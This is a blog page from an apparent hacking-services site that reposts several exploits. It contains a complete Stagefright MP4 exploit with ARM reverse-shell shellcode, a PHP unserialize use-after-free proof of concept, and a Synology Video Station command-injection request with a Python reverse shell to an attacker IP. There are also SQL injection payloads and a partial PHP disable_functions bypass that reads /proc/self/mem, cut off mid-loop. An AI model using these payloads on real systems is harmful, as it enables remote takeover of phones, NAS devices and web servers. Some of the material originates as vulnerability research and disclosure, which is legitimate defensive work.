Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863293311

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/env python
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
# Shout outs to our friends at Optiv (formerly Accuvant Labs)
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
# www.zimperium.com
#
# Exploit for RCE Vulnerability CVE-2015-1538 #1
# Integer Overflow in the libstagefright MP4 ‘stsc’ atom handling
#
# Don’t forget, the output of “create_mp4” can be delivered many ways!
# MMS is the most dangerous attack vector, but not the only one…
#
# DISCLAIMER: This exploit is for testing and educational purposes only. Any
# other usage for this code is not allowed. Use at your own risk.
#
# “With great power comes great responsibility.” – Uncle Ben
#
import struct
import socket
#
# Creates a single MP4 atom – LEN, TAG, DATA
#
def make_chunk(tag, data):
   if len(tag) != 4:
       raise ‘Yo! They call it “FourCC” for a reason.’
   ret = struct.pack(‘>L’, len(data) + 8)
   ret += tag
   ret += data
   return ret
#
# Make an ‘stco’ atom – Sample Table Chunk Offets
#
def make_stco(extra=”):
   ret =  struct.pack(‘>L’, 0) # version
   ret += struct.pack(‘>L’, 0) # mNumChunkOffsets
   return make_chunk(‘stco’, ret+extra)
#
# Make an ‘stsz’ atom – Sample Table Size
#
def make_stsz(extra=”):
   ret =  struct.pack(‘>L’, 0) # version
   ret += struct.pack(‘>L’, 0) # mDefaultSampleSize
   ret += struct.pack(‘>L’, 0) # mNumSampleSizes
   return make_chunk(‘stsz’, ret+extra)
#
# Make an ‘stts’ atom – Sample Table Time-to-Sample
#
def make_stts():
   ret =  struct.pack(‘>L’, 0) # version
   ret += struct.pack(‘>L’, 0) # mTimeToSampleCount
   return make_chunk(‘stts’, ret)
#
# This creates a single Sample Table Sample-to-Chunk entry
#
def make_stsc_entry(start, per, desc):
   ret = ”
   ret += struct.pack(‘>L’, start + 1)
   ret += struct.pack(‘>L’, per)
   ret += struct.pack(‘>L’, desc)
   return ret
#
# Make an ‘stsc’ chunk – Sample Table Sample-to-Chunk
#
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
# cause a heap overflow.
#
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
   ret =  struct.pack(‘>L’, 0) # version/flags
   # this is the clean version…
   if not do_overflow:
       ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets
       ret += ‘Z’ * (12 * num_alloc)
       return make_chunk(‘stsc’, ret)

   # now the explicit version. (trigger the bug)
   ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
   # fill in the entries that will overflow the buffer
   for x in range(0, num_write):
       ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)

   ret = make_chunk(‘stsc’, ret)

   # patch the data_size
   ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:]

   return ret

#
# Build the ROP chain
#
# ROP pivot by Georg Wicherski! Thanks!
#
“””
(gdb) x/10i __dl_restore_core_regs
  0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
  0xb0002854 <__dl_restore_core_regs+4>:   ldm r1, {r3, r4, r5}
  0xb0002858 <__dl_restore_core_regs+8>:   push    {r3, r4, r5}
  0xb000285c <__dl_restore_core_regs+12>:  ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
  0xb0002860 <__dl_restore_core_regs+16>:  ldm sp, {sp, lr, pc}
“””
“””
b0001144 <__dl_mprotect>:
b0001144:       e92d0090        push    {r4, r7}
b0001148:       e3a0707d        mov     r7, #125        ; 0x7d
b000114c:       ef000000        svc     0x00000000
b0001150:       e8bd0090        pop     {r4, r7}
b0001154:       e1b00000        movs    r0, r0
b0001158:       512fff1e        bxpl    lr
b000115c:       ea0015cc        b       b0006894 <__dl_raise+0x10>
“””
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
   rop = ”
   rop += struct.pack(‘<L’, sp_addr + off + 0x10) # new sp
   rop += struct.pack(‘<L’, 0xb0002a98)           # new lr – pop {pc}
   rop += struct.pack(‘<L’, 0xb00038b2+1)         # new pc: pop {r0, r1, r2, r3, r4, pc}

   rop += struct.pack(‘<L’, sp_addr & 0xfffff000) # new r0 – base address (page aligned)
   rop += struct.pack(‘<L’, 0x1000)               # new r1 – length
   rop += struct.pack(‘<L’, 7)                    # new r2 – protection
   rop += struct.pack(‘<L’, 0xd000d003)           # new r3 – scratch
   rop += struct.pack(‘<L’, 0xd000d004)           # new r4 – scratch
   rop += struct.pack(‘<L’, 0xb0001144)           # new pc – _dl_mprotect

   native_start = sp_addr + 0x80
   rop += struct.pack(‘<L’, native_start)         # address of native payload
   #rop += struct.pack(‘<L’, 0xfeedfed5)          # top of stack…
   # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
   buf =  ”
   # fork
   buf += ‘\x02\x70\xa0\xe3’
   buf += ‘\x00\x00\x00\xef’
   # continue if not parent…
   buf += ‘\x00\x00\x50\xe3’
   buf += ‘\x02\x00\x00\x0a’
   # exit parent
   buf += ‘\x00\x00\xa0\xe3’
   buf += ‘\x01\x70\xa0\xe3’
   buf += ‘\x00\x00\x00\xef’
   # setsid in child
   buf += ‘\x42\x70\xa0\xe3’
   buf += ‘\x00\x00\x00\xef’
   # socket/connect/dup2/dup2/dup2
   buf += ‘\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c’
   buf += ‘\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60’
   buf += ‘\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0’
   buf += ‘\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1’
   buf += ‘\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06’
   buf += ‘\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00’
   buf += ‘\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0’
   buf += ‘\xe3\x00\x00\x00\xef’
   # execve(shell, argv, env)
   buf += ‘\x30\x00\x8f\xe2\x04\x40\x24\xe0’
   buf += ‘\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d’
   buf += ‘\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00’
   buf += ‘\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00’
   buf += ‘\xef\x02\x00’
   # Add the connect back host/port
   buf += struct.pack(‘!H’, cb_port)
   cb_host = socket.inet_aton(cb_host)
   buf += struct.pack(‘=4s’, cb_host)
   # shell –
   buf += ‘/system/bin/sh\x00\x00’
   # argv –
   buf += ‘sh\x00\x00’
   # env –
   buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00’

   # Add some identifiable stuff, just in case something goes awry…
   rop_start_off = 0x34
   x = rop_start_off + len(rop)
   while len(rop) < 0x80 – rop_start_off:
       rop += struct.pack(‘<L’, 0xf0f00000+x)
       x += 4

   # Add the native payload…
   rop += buf

   return rop

#
# Build an mp4 that exploits CVE-2015-1538 #1
#
# We mimic meow.3gp here…
#
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
   chunks = []

   # Build the MP4 header…
   ftyp =  ‘mp42’
   ftyp += struct.pack(‘>L’, 0)
   ftyp += ‘mp42’
   ftyp += ‘isom’
   chunks.append(make_chunk(‘ftyp’, ftyp))

   # Note, this causes a few allocations…
   moov_data = ”
   moov_data += make_chunk(‘mvhd’,
       struct.pack(‘>LL’, 0, 0x41414141) +
       (‘B’ * 0x5c) )

   # Add a minimal, verified trak to satisfy mLastTrack being set
   moov_data += make_chunk(‘trak’,
       make_chunk(‘stbl’,
           make_stsc(0x28, 0x28) +
           make_stco() +
           make_stsz() +
           make_stts() ))

   # Spray the heap using a large tx3g chunk (can contain binary data!)
   “””
      0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>:   ldr r4, [r0, #4]  ; load mRefs
      0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>:   mov r5, r0
      0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>:   mov r6, r1
      0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>:   mov r0, r4
      0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>:  blx 0x40069884    ; atomic_decrement
      0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>:  cmp r0, #1        ; must be 1
      0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>:  bne.n   0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
      0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>:  ldr r0, [r4, #8]  ; load refs->mBase
      0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>:  ldr r1, [r0, #0]  ; load mBase._vptr
      0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>:  ldr r2, [r1, #12] ; load method address
      0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>:  mov r1, r6
      0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>:  blx r2            ; call it!
   “””
   page = ”
   off = 0  # the offset to the next object
   off += 8
   page += struct.pack(‘<L’, sp_addr + 8 + 16 + 8 + 12 – 28)    # _vptr.RefBase (for when we smash mDataSource)
   page += struct.pack(‘<L’, sp_addr + off) # mRefs
   off += 16
   page += struct.pack(‘<L’, 1)             # mStrong
   page += struct.pack(‘<L’, 0xc0dedbad)    # mWeak
   page += struct.pack(‘<L’, sp_addr + off) # mBase
   page += struct.pack(‘<L’, 16)            # mFlags (dont set OBJECT_LIFETIME_MASK)
   off += 8
   page += struct.pack(‘<L’, sp_addr + off) # the mBase _vptr.RefBase
   page += struct.pack(‘<L’, 0xf00dbabe)    # mBase.mRefs (unused)
   off += 16
   page += struct.pack(‘<L’, 0xc0de0000 + 0x00)  # vtable entry 0
   page += struct.pack(‘<L’, 0xc0de0000 + 0x04)  # vtable entry 4
   page += struct.pack(‘<L’, 0xc0de0000 + 0x08)  # vtable entry 8
   page += struct.pack(‘<L’, newpc_val)          # vtable entry 12
   rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
   x = len(page)
   while len(page) < 4096:
       page += struct.pack(‘<L’, 0xf0f00000+x)
       x += 4

   off = 0x34
   page = page[:off] + rop + page[off+len(rop):]
   spray = page * (((2*1024*1024) / len(page)) – 20)
   moov_data += make_chunk(‘tx3g’, spray)
   block = ‘A’ * 0x1c
   bigger = ‘B’ * 0x40
   udta = make_chunk(‘udta’,
       make_chunk(‘meta’,
           struct.pack(‘>L’, 0) +
           make_chunk(‘ilst’,
               make_chunk(‘cpil’,    make_chunk(‘data’, struct.pack(‘>LL’, 21, 0) + ‘A’)) +
               make_chunk(‘trkn’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) +
               make_chunk(‘disk’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) +
               make_chunk(‘covr’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
               make_chunk(‘\xa9alb’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘aART’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘\xa9nam’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘gnre’,    make_chunk(‘data’, struct.pack(‘>LL’, 1, 0) + block)) +
               make_chunk(‘covr’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
               make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
               make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
               make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)))
           )
       )
   moov_data += udta

   # Make the nasty trak
   tkhd1 = ”.join([
       ‘\x00’,       # version
       ‘D’ * 3,      # padding
       ‘E’ * (5*4),  # {c,m}time, id, ??, duration
       ‘F’ * 0x10,   # ??
       struct.pack(‘>LLLLLL’,
           0x10000,  # a00
           0,        # a01
           0,        # dx
           0,        # a10
           0x10000,  # a11
           0),       # dy
       ‘G’ * 0x14
       ])

   trak1 = ”
   trak1 += make_chunk(‘tkhd’, tkhd1)

   mdhd1 = ”.join([
       ‘\x00’,       # version
       ‘D’ * 0x17,   # padding
       ])

   mdia1 = ”
   mdia1 += make_chunk(‘mdhd’, mdhd1)
   mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a)

   dinf1 = ”
   dinf1 += make_chunk(‘dref’, ‘H’ * 0x14)

   minf1 = ”
   minf1 += make_chunk(‘smhd’, ‘G’ * 0x08)
   minf1 += make_chunk(‘dinf’, dinf1)

   # Build the nasty sample table to trigger the vulnerability here.
   stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True) # TRIGGER

   # Add the stbl to the minf chunk
   minf1 += make_chunk(‘stbl’, stbl1)

   # Add the minf to the mdia chunk
   mdia1 += make_chunk(‘minf’, minf1)

   # Add the mdia to the track
   trak1 += make_chunk(‘mdia’, mdia1)

   # Add the nasty track to the moov data
   moov_data += make_chunk(‘trak’, trak1)

   # Finalize the moov chunk
   moov = make_chunk(‘moov’, moov_data)
   chunks.append(moov)

   # Combine outer chunks together and voila.
   data = ”.join(chunks)

   return data

if __name__ == ‘__main__’:
   import sys
   import mp4
   import argparse

   def write_file(path, content):
       with open(path, ‘wb’) as f:
           f.write(content)

   def addr(sval):
       if sval.startswith(‘0x’):
           return int(sval, 16)
       return int(sval)

   # The address of a fake StrongPointer object (sprayed)
   sp_addr   = 0x41d00010  # takju @ imm76i – 2MB (via hangouts)

   # The address to of our ROP pivot
   newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs

   # Allow the user to override parameters
   parser = argparse.ArgumentParser()
   parser.add_argument(‘-c’, ‘–connectback-host’, dest=‘cbhost’, default=‘31.3.3.7’)
   parser.add_argument(‘-p’, ‘–connectback-port’, dest=‘cbport’, type=int, default=12345)
   parser.add_argument(‘-s’, ‘–spray-address’, dest=‘spray_addr’, type=addr, default=None)
   parser.add_argument(‘-r’, ‘–rop-pivot’, dest=‘rop_pivot’, type=addr, default=None)
   parser.add_argument(‘-o’, ‘–output-file’, dest=‘output_file’, default=‘cve-2015-1538-1.mp4’)
   args = parser.parse_args()

   if len(sys.argv) == 1:
       parser.print_help()
       sys.exit(–1)

   if args.spray_addr == None:
       args.spray_addr = sp_addr
   if args.rop_pivot == None:
       args.rop_pivot = newpc_val

   # Build the MP4 file…
   data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
   print(‘[*] Saving crafted MP4 to %s …’ % args.output_file)
   write_file(args.output_file, data) - See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf
HireHackking 
Use After Free Vulnerabilities in unserialize()

Taoguang Chen <[@chtg](http://github.com/chtg)> 
Write Date: 2015.7.31 
Release Date: 2015.9.4

Multiple use-after-free vulnerabilities were discovered in unserialize() with Serializable class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

  if (ce->unserialize == NULL) {
    zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));
    object_init_ex(rval, ce);
  } else if (ce->unserialize(rval, ce, (const unsigned char*)*p,
datalen, (zend_unserialize_data *)var_hash) != SUCCESS) {
    return 0;
  }

  (*p) += datalen;

  return finish_nested_data(UNSERIALIZE_PASSTHRU);


The unserialize() with Serializable class lead to various problems.

i) Free the memory via crafted Serializable class


<?php

class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
        $this->data = 1;
    }
}

?>


ii) Free the memory via the process_nested_data() with a invalid
serialized string


static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable
*ht, long elements, int objprops)
{
  while (elements-- > 0) {
    zval *key, *data, **old_data;

    ...

    ALLOC_INIT_ZVAL(data);

    if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
      zval_dtor(key);
      FREE_ZVAL(key);
      zval_dtor(data);
      FREE_ZVAL(data);  <===  free the memory
      return 0;
    }


iii) Free the memory via the var_push_dtor_no_addref() with the var_destroy().


PHPAPI void var_destroy(php_unserialize_data_t *var_hashx)
{

  ...
  
  while (var_hash) {
    for (i = 0; i < var_hash->used_slots; i++) {
      zval_ptr_dtor(&var_hash->data[i]);  <===  free the memory
    }
  
  ...
  
PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
{

  ...
  
  if (*rval != NULL) {
    var_push_dtor_no_addref(var_hash, rval);
  }
  *rval = *rval_ref;


We can create ZVAL and free it via Serializable::unserialize. However
the unserialize() will still allow to use R: or r: to set references
to that already freed memory. It is possible to use-after-free attack
and execute arbitrary code remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.


<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

// i)
//$inner = 'a:1:{i:0;i:1;}';
//$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
// ii)
$inner = 'a:2:{i:0;i:1;i:1;i:2';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}';
// iii)
//$inner = 'r:1;';
//$exploit = 'a:1:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
  $out = "";
  for ($i = 0; $i < 8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
  }
  return $out;
}

class obj implements Serializable {
  var $data;
  function serialize() {
    return serialize($this->data);
  }
  function unserialize($data) {
        $this->data = unserialize($data);
//    i)
//    $this->data = '1';
  }
}

?>


Test the PoC on the command line:


$ php uafpoc.php
array(2) {
  [0]=>
  object(obj)#1 (1) {
    ["data"]=>
    bool(false)
  }
  [1]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
}
HireHackking 
------------------------------------------------------------------------
Synology Video Station command injection and multiple SQL injection
vulnerabilities
------------------------------------------------------------------------
Han Sahin, September 2015

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was discovered that Synology Video Station is vulnerable to command
injection that allows an attacker to execute arbitrary system commands
with root privileges. In addition, Video Station is affected by multiple
SQL injection vulnerabilities that allows for execution of arbitrary SQL
statements with DBA privileges. As a result it is possible to compromise
the PostgreSQL database server.

------------------------------------------------------------------------
Affected versions
------------------------------------------------------------------------
These issues affect Synology Video Station version up to and including
version 1.5-0757.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
Synology has reported that these issue have been resolved in:

- Video Station version 1.5-0757 [audiotrack.cgi]
- Video Station version 1.5-0763 [watchstatus.cgi]
- Video Station version 1.5-0763 [subtitle.cgi]

------------------------------------------------------------------------
Details
------------------------------------------------------------------------

Command injection vulnerability in subtitle.cgi

A command injection vulnerability exists in the subtitle.cgi CGI script. This issue exists in the 'subtitle_codepage' parameter, which allows an attacker to execute arbitrary commands with root privileges. The script subtitle.cgi can also be called when the 'public share' option is enabled. With this option enabled, this issue can also be exploited by an unauthenticated remote attacker. This vulnerability can be used to compromise a Synology DiskStation NAS, including all data stored on the NAS, and the NAS as stepping stone to attack other systems.


- Start netcat on attacker's system:

nc -nvlp 80

- Submit the following request (change the IP - 192.168.1.20 - & port number - 80):

GET /webapi/VideoStation/subtitle.cgi?id=193&api=SYNO.VideoStation.Subtitle&method=get&version=2&subtitle_id=%2Fvolume1%2Fvideo%2Fmr.robot.s01e10.720p.hdtv.x264-killers.nfo%2FMr.Robot.S01E10.720p.HDTV.x264-KILLERS.2aafa5c.eng.srt&subtitle_codepage=auto%26python%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.1.20%22,80));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(%5b%22/bin/sh%22,%22-i%22%5d);'%26&preview=false&sharing_id=kSiNy0Pp HTTP/1.1
Host: 192.168.1.13:5000
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache



SQL injection vulnerability in watchstatus.cgi

A (blind) SQL injection vulnerability exists in the watchstatus.cgi CGI script. This issue exists in the code handling the 'id' parameter and allows an attacker to execute arbitrary SQL statements with DBA privileges. As a result it is possible to compromise the PostgreSQL database server. In the following screenshot this issue is exploited using sqlmap.

Proof of concept

POST /webapi/VideoStation/watchstatus.cgi HTTP/1.1
Host: 192.168.1.13:5000
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-SYNO-TOKEN: Lq6mE9ANV2egU
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 80
Cookie: stay_login=0; id=Lq5QWGqg7Rnzc13A0LTN001710; jwplayer.volume=50
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
   
id=15076178770%20or%204864%3d4864--%20&position=10.05&api=SYNO.VideoStation.WatchStatus&method=setinfo&version=1

It should be noted that the X-SYNO-TOKEN header provides protection against Cross-Site Request Forgery attacks. As of DSM version 5.2-5592 Update 3, this protection is enabled by default.
SQL injection vulnerability in audiotrack.cgi

A (blind) SQL injection vulnerability exists in the audiotrack.cgi CGI script. This issue exists in the code handling the 'id' parameter and allows an attacker to execute arbitrary SQL statements with DBA privileges. As a result it is possible to compromise the PostgreSQL database server.
Proof of concept

POST /webapi/VideoStation/audiotrack.cgi HTTP/1.1
Content-Length: 294
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-SYNO-TOKEN: 7IKJdJMa8cutE
Host: <hostname>:5000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close
Pragma: no-cache
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: stay_login=0; id=7IivlxDM9MFb213A0LTN001710
   
id=1%20AND%20%28SELECT%20%28CASE%20WHEN%20%28%28SELECT%20usesuper%3Dtrue%20FROM%20pg_user%20WHERE%20usename%3DCURRENT_USER%20OFFSET%200%20LIMIT%201%29%29%20THEN%20%28CHR%2849%29%29%20ELSE%20%28CHR%2848%29%29%20END%29%29%3D%28CHR%2849%29%29&api=SYNO.VideoStation.AudioTrack&method=list&version=1
HireHackking 
<?php
// EDB Note: Paper https://www.exploit-db.com/docs/english/38104-shoot-zend_executor_globals-to-bypass-php-disable_functions.pdf

error_reporting(0x66778899);
set_time_limit(0x41424344);
define('ZEND_INI_USER', (1<<0));
define('ZEND_INI_PERDIR', (1<<1));
define('ZEND_INI_SYSTEM', (1<<2));

/*
00df9000-00e16000 rw-p 00000000 00:00 0 
017ff000-01a51000 rw-p 00000000 00:00 0                                  [heap]
error_reporting(0x66778899);

typedef struct bucket {
	ulong h;						/\* Used for numeric indexing *\/
	uint nKeyLength;
	void *pData;
	void *pDataPtr;
	struct bucket *pListNext;
	struct bucket *pListLast;
	struct bucket *pNext;
	struct bucket *pLast;
	const char *arKey;
} Bucket;

typedef struct _hashtable {
	uint nTableSize;
	uint nTableMask;
	uint nNumOfElements;
	ulong nNextFreeElement;
	Bucket *pInternalPointer;	/\* Used for element traversal *\/
	Bucket *pListHead;
	Bucket *pListTail;
	Bucket **arBuckets;
	dtor_func_t pDestructor; //pointer
	zend_bool persistent;
	unsigned char nApplyCount;
	zend_bool bApplyProtection;
#if ZEND_DEBUG
	int inconsistent;
#endif
} HashTable;

struct _zend_executor_globals {
	zval **return_value_ptr_ptr;

	zval uninitialized_zval;
	zval *uninitialized_zval_ptr;

	zval error_zval;
	zval *error_zval_ptr;

	zend_ptr_stack arg_types_stack;

	/\* symbol table cache *\/
	HashTable *symtable_cache[SYMTABLE_CACHE_SIZE];
	HashTable **symtable_cache_limit;
	HashTable **symtable_cache_ptr;

	zend_op **opline_ptr;

	HashTable *active_symbol_table;
	HashTable symbol_table;		/\* main symbol table *\/

	HashTable included_files;	/\* files already included *\/

	JMP_BUF *bailout;

	int error_reporting;
	int orig_error_reporting;
	int exit_status;

	zend_op_array *active_op_array;

	HashTable *function_table;	/\* function symbol table *\/
	HashTable *class_table;		/\* class table *\/
	HashTable *zend_constants;	/\* constants table *\/

	zend_class_entry *scope;
	zend_class_entry *called_scope; /\* Scope of the calling class *\/

	zval *This;

	long precision;

	int ticks_count; //10*8

	zend_bool in_execution;  //typedef unsigned char zend_bool;
	HashTable *in_autoload;
	zend_function *autoload_func;
	zend_bool full_tables_cleanup;

	/\* for extended information support *\/
	zend_bool no_extensions;

#ifdef ZEND_WIN32
	zend_bool timed_out;
	OSVERSIONINFOEX windows_version_info;
#endif

	HashTable regular_list;
	HashTable persistent_list;

	zend_vm_stack argument_stack;

	int user_error_handler_error_reporting;
	zval *user_error_handler;
	zval *user_exception_handler;
	zend_stack user_error_handlers_error_reporting;
	zend_ptr_stack user_error_handlers;
	zend_ptr_stack user_exception_handlers;

	zend_error_handling_t  error_handling;
	zend_class_entry      *exception_class;

	/\* timeout support *\/
	int timeout_seconds;

	int lambda_count;

	HashTable *ini_directives;
	HashTable *modified_ini_directives;
	zend_ini_entry *error_reporting_ini_entry;	                

	zend_objects_store objects_store;
	zval *exception, *prev_exception;
	zend_op *opline_before_exception;
	zend_op exception_op[3];

	struct _zend_execute_data *current_execute_data;

	struct _zend_module_entry *current_module;

	zend_property_info std_property_info;

	zend_bool active; 

	zend_op *start_op;

	void *saved_fpu_cw_ptr;
#if XPFPA_HAVE_CW
	XPFPA_CW_DATATYPE saved_fpu_cw;
#endif

	void *reserved[ZEND_MAX_RESERVED_RESOURCES];
};

/*
struct _zend_ini_entry {
int module_number;
int modifiable;
char *name;
uint name_length;
ZEND_INI_MH((*on_modify));
void *mh_arg1;
void *mh_arg2;
void *mh_arg3;
char *value;
....

*/
//echo file_get_contents("/proc/self/maps");

$mem = fopen("/proc/self/mem", "rb");

/*
ylbhz@ylbhz-Aspire-5750G:/tmp$ php -r "echo file_get_contents('/proc/self/maps');"
00400000-00bf3000 r-xp 00000000 08:01 4997702                            /usr/bin/php5
00df3000-00e94000 r--p 007f3000 08:01 4997702                            /usr/bin/php5
00e94000-00ea1000 rw-p 00894000 08:01 4997702                            /usr/bin/php5
00ea1000-00ebe000 rw-p 00000000 00:00 0 
0278f000-02a65000 rw-p 00000000 00:00 0                                  [heap]

*/
//set the extension_dir
fseek($mem, 0x00ea1000);
for($i = 0;$i <  0x00ebe000 - 0x00ea1000;$i += 4)
{
	//echo 'x';
	$num = unp(fread($mem, 4));
	if($num == 0x66778899)
	{
		$offset = 0x00ea1000 + $i;
		printf("got noe, offset is:0x%x\r\n", $offset);
		printf("Now set error_reporting to 0x55667788 and reread the value\r\n");
		error_reporting(0x55667788);
		fseek($mem, $offset);
		$num = unp(fread($mem, 4));
		printf("The value is %x\r\n", $num);
		if($num == 0x55667788)
		{
			printf("I found the offset of executor_globals's member error_reporting\r\n");

			printf("read the structure\r\n");
			fseek($mem, $offset);
			fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member
			$timeout = dump_value($mem, 4);
			if($timeout == 0x41424344)
			{
				error_reporting(E_ALL); //restore the error reporting
				printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout);
				dump_value($mem, 4);
				$ini_dir = dump_value($mem, 8);
				printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir);
				fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets;
				$arBucket = dump_value($mem, 8);
				printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket);
				fseek($mem, $arBucket);
				//try to get the first Bucket address
				for($i = 0;$i < 1000;$i ++)
				{
					$bucket = dump_value($mem, 8);
					//printf("This bucket address maybe in 0x%016x\r\n", $bucket);
					fseek($mem, $bucket + 16); //seek to const void *pData; in struct Bucket
					$pdata = dump_value($mem, 8);
					dump_value($mem, 8);
